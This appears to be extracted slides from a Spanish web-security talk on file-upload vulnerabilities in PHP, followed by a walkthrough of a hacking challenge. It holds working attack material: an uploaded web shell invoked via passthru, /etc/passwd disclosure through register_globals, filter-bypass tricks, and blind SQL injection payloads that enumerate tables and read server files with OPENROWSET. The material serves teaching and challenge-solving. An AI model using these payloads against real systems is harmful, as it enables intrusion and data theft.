- 1. Cuidado con lo que te comes Jose Palazn (a.k.a. palako)
- 2. ' or 1=1--
-
- blind con consultas pesadas
- 3.
- style href= http://ha.ckhers.org/xss.css
- Cheat Sheet:http://ha.ckers.org/xss.html
- 4. Que ms?
- Parameter restrictions bypass
- 5.
- WebAppSecurity/admin/documentos.php
Documento:
- 6. globals if ( $doc ) { echo "Nuevo documento
aadido
" ; echo "tmp: ".$doc."" ; echo "Nombre: ".$doc_name."" ; echo
"Tipo: ".$doc_type."" ; echo "Tamao: ".$doc_size."" ; copy ( $doc
,$docsPath . $doc_name ); }
- 7. globals
- $doc puede venir por GET, POST,....
- ?doc=/etc/passwd&doc_name=passwd
-
http://localhost/~palako/WebAppSecurity/admin/documentos.php?doc=/etc/passwd&doc_name=passwd
- 8. $_FILES if ( $_FILES ) { echo "Nuevo documento
aadido
" ; echo "tmp: ".$_FILES [ "doc" ][ "tmp_name" ] ."" ; echo
"Nombre: ".$_FILES [ "doc" ][ "name" ] ."" ; echo "Tipo: ".$_FILES
[ "doc" ][ "type" ] ."" ; echo "Tamao: ".$_FILES [ "doc" ][ "size"
] . "" ; if ( is_uploaded_file ( $_FILES [ "doc" ][ "tmp_name" ]))
move_uploaded_file ( $_FILES [ "doc" ][ "tmp_name" ],$docsPath .
$_FILES [ "doc" ][ "name" ]); else echo "
ERROR: No se puede acceder al fichero
" ; }
- 9. Sin filtros
- Se puede subir cualquier tipo de fichero
-
http://localhost/~palako/WebAppSecurity/admin/docs/eval.php?command=passthru('uname-a');
-
- Source code disclosure: cat documentos.php
- 10. $FILES[doc][type] function tipoValido( $type ) {
$tiposValidos =array ('image/jpeg' , 'image/gif', 'image/png',
'image/bmp', 'application/pdf' , 'text/plain' ); return ( in_array
( $type ,$tiposValidos )); }
- 11. $_FILES[doc][type]
- Cambiar HTTP Content-type en la peticin
- 12. mime_content_type function tipoValido2( $doc ) {
$tiposValidos =array ('image/jpeg' , 'image/gif', 'image/png',
'image/bmp', 'application/pdf' , 'text/plain' ); return ( in_array
( trim ( mime_content_type ( $doc )), $tiposValidos )); }
- 13. mime_content_type
- /usr/share/file/magic(.mime)
- 14. $files[doc][name] functionextensionValida( $docName ) {
$extensionesProhibidas =array ('php' , ); $partes=split ( "."
,$docName ); if( count ( $partes )>1) return (! in_array (
$partes [1], $extensionesProhibidas )); return ( false ); }
- 15. extensiones prohibidas
- Solo filtras lo que TU conoces
- Mejor permitir lo conocido como bueno
- 16. eregi() functionextensionValida2( $docName ) {
$extensionesValidas =array ('jpg' , 'gif', 'png', 'bmp', 'pdf' ,
'txt' ); foreach ( $extensionesValidas as $ext ) if ( eregi ( $ext
,$docName )) return ( true ); return ( false );}
- 17. eregi()
- Extension valida en cualquier parte del fichero
- Es muy dificil hacer un buen filtro con expresiones
regulares
- 18. extensiones permitidas functionextensionValida3( $docName )
{ $extensionesValidas =array ('jpg' , 'gif', 'png', 'bmp', 'pdf' ,
'txt' ); $partes=split ( "." ,$docName ); if( count ( $partes
)>1) return ( in_array ( $partes [1],$extensionesValidas ));
return ( false ); }
- 19. extensiones permitidas
- Mas de un punto en el nombre del fichero
- A veces no se pueden filtrar todas las extensiones
permitidas
-
- ej. attachements en un webmail
- 20. que tiene de malo un .txt? functionextensionValida4(
$docName ) { $extensionesProhibidas =array ('php' , 'php3' , 'php4'
, 'php5' , 'inc' , 'shtml' ); $partes=split ( "." ,$docName ); if(
count ( $partes )>1) return (! in_array ( $partes [ count (
$partes )-1], $extensionesProhibidas )); return ( false ); }
- 21. Que tiene de malo un .txt?
-
- AddType application/x-httpd-php .php .txt
- 22. Vivimos para los retos hacking Reto V. Fase II.
- 23. Reto V. Fase II.
- http://retohacking5.elladodelmal.com/privado/Nivel2.aspx
- La inscripcion en el mono
- ho pdsd txh wh oohydud d uhvroyhu ho sxcoh vh hqfxhqwud hq od
fdushwd uhfxuvrv gh od xqlgdg sulqflsdo
- Desplazamiento 4 a la izquierda
- el mapa que te ayudara a resolver el puzle se encuentra en la
carpeta recursos de la unidad principal
- 24. Reto V. Fase II.
- ObtenerDatosPaso2.aspx?idObjeto=1
-
- contenido=No pienso agacharme a coger ese objeto
- ObtenerDatosPaso2.aspx?idObjeto=1%20and%201=1--
-
- contenido=No pienso agacharme a coger ese objeto
- ObtenerDatosPaso2.aspx?idObjeto=1%20and%201=2--
-
- contenido=No conozco el objeto
- 25. Reto V. Fase II
-
- contenido=No pienso agacharme a coger ese objeto
- 1%20union%20select%201,1--
-
1%20union%20select%201%20from%20INFORMATION_SCHEMA.TABLES--
- 1%20union%20select%201%20from%20sysobjects--
-
- contenido=No pienso agacharme a coger ese objeto
- 1%20union%20select%201%20from%20syscolumns--
-
- contenido=No pienso agacharme a coger ese objeto
- 26. Reto V. Fase II
-
-1%20%20union%20select%201%20from%20sysobjects%20where%20sysobjects.xtype%20=%20'u'%20and%20sysobjects.name='objetos';--
-
- contenido=No pienso agacharme a coger ese objeto
-
-1%20%20union%20select%201%20from%20sysobjects%20where%20sysobjects.xtype%20=%20'u'%20and%20sysobjects.name%20%3C%20'objetos';--
-
- contenido=No conozco el objeto
-
-1%20%20union%20select%201%20from%20sysobjects%20where%20sysobjects.xtype%20=%20'u'%20and%20sysobjects.name%20%3E%20'objetos';--
-
- contenido=No conozco el objeto
- 27. Reto V. Fase II
-
-1%20%20union%20select%201%20from%20sysobjects,syscolumns%20where%20sysobjects.xtype%20=%20'u'%20and%20sysobjects.name%20=%20'objetos'%20and%20syscolumns.name='id';--
-
- contenido=No pienso agacharme a coger ese objeto
-
-1%20%20union%20select%201%20from%20sysobjects,syscolumns%20where%20sysobjects.xtype%20=%20'u'%20and%20sysobjects.name%20=%20'objetos'%20and%20syscolumns.name%3C'id';--
-
- contenido=No conozco el objeto
-
1%20%20union%20select%201%20from%20sysobjects,syscolumns%20where%20sysobjects.xtype%20=%20'u'%20and%20sysobjects.name%20=%20'objetos'%20and%20syscolumns.name%3E'id';--
-
- contenido=No conozco el objeto
- 28. Reto V. Fase II
-
http://retohacking5.elladodelmal.com/privado/ObtenerDatosPaso2.aspx?idObjeto=-1%20union%20select%201%20where%20@@version%20like%20'microsoft%20sql%20server%202005%20-%209.00.1399.06%20_intel%20x86_%20_%'--
- microsoft sql server 2005 - 9.00.1399.06_intel x86_
-
http://retohacking5.elladodelmal.com/privado/ObtenerDatosPaso2.aspx?idObjeto=1;SELECT%20*%20FROM%20OPENROWSET(BULK%20'c:
ecursosmapa.jpg',%20SINGLE_BLOB)%20AS%20Document);--
-
http://retohacking5.elladodelmal.com/privado/ObtenerDatosPaso2.aspx?idObjeto=1%20and%20(len((SELECT%20*%20FROM%20OPENROWSET(BULK%20'c:
ecursosmapa.jpg',%20SINGLE_BLOB)%20AS%20Document))=3675);--